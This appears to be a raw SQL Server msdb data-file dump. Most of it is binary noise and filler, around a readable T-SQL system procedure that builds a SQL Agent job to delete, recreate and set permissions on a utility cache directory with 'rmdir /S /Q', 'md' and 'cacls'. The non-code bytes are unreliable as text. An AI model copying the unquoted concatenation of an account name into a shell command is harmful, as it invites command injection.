4Ulast_backup_file0-D0==Ulast_backup_date0-D000 3Ybackup_compression!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\_
j
!
{@Sj!_
<9Be&

I
		Z	Y
hF[Wx-6A`-,)
L Z0-.4;urn0-.4@Spowershell_path0-.++
"
Sprocessing_time0-.++
"
Ibatch_time0-.4]server_instance_name0-.4Odatabase_name0-.4Iparent_urn0-.4=Name0-Q.$$C@job_id0-Q.4G@job_name0-Q.88
E@step_id0-Q.88
S@sql_message_id0-Q.88
O@sql_severity0-Q.88
S@start_run_date0-Q.88
O@end_run_date0-Q.88
S@start_run_time0-Q.	88
O@end_run_time0-Q.
88
_@minimum_run_duration0-Q.88
K@run_status0-Q.88
U@minimum_retries0-Q.
88
O@oldest_first0-Q.4C@server0-Q.4?@mode0-Q.88
G@order_by0-Q.hhe@distributed_job_history0-//88
Y@collection_set_id0-//$$[@collector_type_uid0-//4?@name0-//88
I@frequency0-//K@parameters0-//88
[@collection_item_id0-/4;urn0-/4Iparent_urn0-/4GCollation0-/44YCompatibilityLevel0-/==ICreateDate0-/hhWEncryptionEnabled0-/4=Name0-/4]server_instance_name0-/	4@Spowershell_path0-/
44ORecoveryModel0-/hhKTrustworthy0-/++
"
Sprocessing_time0-/
00?state!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!m

-<

S


	t	)	FApq"-F6A`aY<
KH|AP0JVL 8
CREATE PROCEDURE [dbo].[sp_sysutility_mi_create_cache_directory]
   @network_account sysname,
   @agent_service_account sysname
AS
BEGIN
    DECLARE @instance_name  nvarchar(128)
    DECLARE @null_column    sysname
    
    SET @null_column = NULL
    
    IF (@network_account IS NULL OR @network_account = N'')
       SET @null_column = '@network_account'
    ELSE IF (@agent_service_account IS NULL OR @agent_service_account = N'')
       SET @null_column = '@agent_service_account'
       
    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysutility_create_cache_directory_job')
        RETURN(1)
    END


    SET @instance_name = ISNULL(CONVERT(nvarchar(128), SERVERPROPERTY('InstanceName')), N'MSSQLSERVER')
 

    DECLARE @job_name sysname
    DECLARE @job_id uniqueidentifier        
    DECLARE @description nvarchar(512)

    DECLARE @cachepath nvarchar(2048);  -- SQL Eye reports that xp_instance_regread can truncate the cachepath
									    -- but xp_instance_regread doesn't handle LOB types to use nvarchar(MAX)

    EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent', N'WorkingDirectory', @cachepath OUTPUT;

    set @cachepath=@cachepath + '\UtilityDC'

    RAISERROR (@cachepath, 0, 1) WITH NOWAIT;

    -- create unique job name
    SET @job_name = N'sysutility_create_cache_directory'

    WHILE (EXISTS (SELECT * FROM msdb.dbo.sysjobs WHERE name = @job_name))
    BEGIN
       EXEC sp_delete_job @job_name=@job_name
    END
 

    EXEC  msdb.dbo.sp_add_job @job_name=@job_name, 
                @enabled=1,
                @notify_level_eventlog=0, 
                @notify_level_email=2, 
                @notify_level_netsend=2, 
                @notify_level_page=2, 
                @delete_level=0, 
                @category_id=0,
                @job_id = @job_id OUTPUT

    DECLARE @server_name SYSNAME = CONVERT(SYSNAME, SERVERPROPERTY(N'ServerName'))      
    EXEC msdb.dbo.sp_add_jobserver @job_name=@job_name, @server_name = @server_name

    DECLARE @command nvarchar(MAX)
    SET @command = N'if exist "' + @cachepath + '"  rmdir /S /Q "' + @cachepath + '"'

    EXEC msdb.dbo.sp_add_jobstep 
          @job_id=@job_id, 
                @step_name=N'Delete existing cache directory', 
                @step_id=1, 
                @cmdexec_success_code=0, 
                @on_fail_action=2, 
                @on_fail_step_id=0,
                @on_success_action=3, 
                @retry_attempts=0, 
                @retry_interval=0, 
                @os_run_priority=0, 
                @subsystem=N'CMDEXEC',
                @command=@command, 
                @flags=16
 
    IF NOT (@network_account LIKE @agent_service_account)
    BEGIN
        -- If network_account (proxy) and agent_service_account are different, we shall ACL the cache
        RAISERROR ('network_account is different from agent_service_account', 0, 1) WITH NOWAIT;
        SET @command = N'md "' + @cachepath + '"'

        EXEC msdb.dbo.sp_add_jobstep 
                @job_id=@job_id, 
                @step_name=N'Create cache directory', 
                @step_id=2, 
                @cmdexec_success_code=0, 
                @on_fail_action=2, 
                @on_fail_step_id=0,
                @on_success_action=3, 
                @retry_attempts=0, 
                @retry_interval=0, 
                @os_run_priority=0, 
                @subsystem=N'CMDEXEC',
                @command=@command,
                @flags=16

        SET @command = N'cacls "' + @cachepath + '" /E /G ' + @network_account + ':C'

        EXEC msdb.dbo.sp_add_jobstep 
                @job_id=@job_id, 
                @step_name=N'ACL cache directory', 
                @step_id=3, 
                @cmdexec_success_code=0, 
                @on_fail_action=2, 
                @on_fail_step_id=0, 
                @on_success_action=1,
                @retry_attempts=0, 
                @retry_interval=0, 
                @os_run_priority=0, 
                @subsystem=N'CMDEXEC',
                @command=@command, 
                @flags=16
    END
    ELSE
    BEGIN
        -- If network_account (proxy) and agent_service_account are the same, then there is no need to ACL the cache
        -- as the account already has write access to it courtesy the agent service account provisioning.
        -- In this case explicit provisioning of cache with the account leads to error.
        RAISERROR ('network_account is the same as the agent_service_account', 0, 1) WITH NOWAIT;
        SET @command = N'md "' + @cachepath + '"'

        EXEC msdb.dbo.sp_add_jobstep 
                @job_id=@job_id, 
                @step_name=N'Create cache directory', 
                @step_id=2, 
                @cmdexec_success_code=0, 
                @on_fail_action=2, 
                @on_fail_step_id=0,
                @on_success_action=1, 
                @retry_attempts=0, 
                @retry_interval=0, 
                @os_run_priority=0, 
                @subsystem=N'CMDEXEC',
                @command=@command,
                @flags=16

    END

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-<
M:u0<V "0<V "0<rW "0<V`"0<ΞV "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!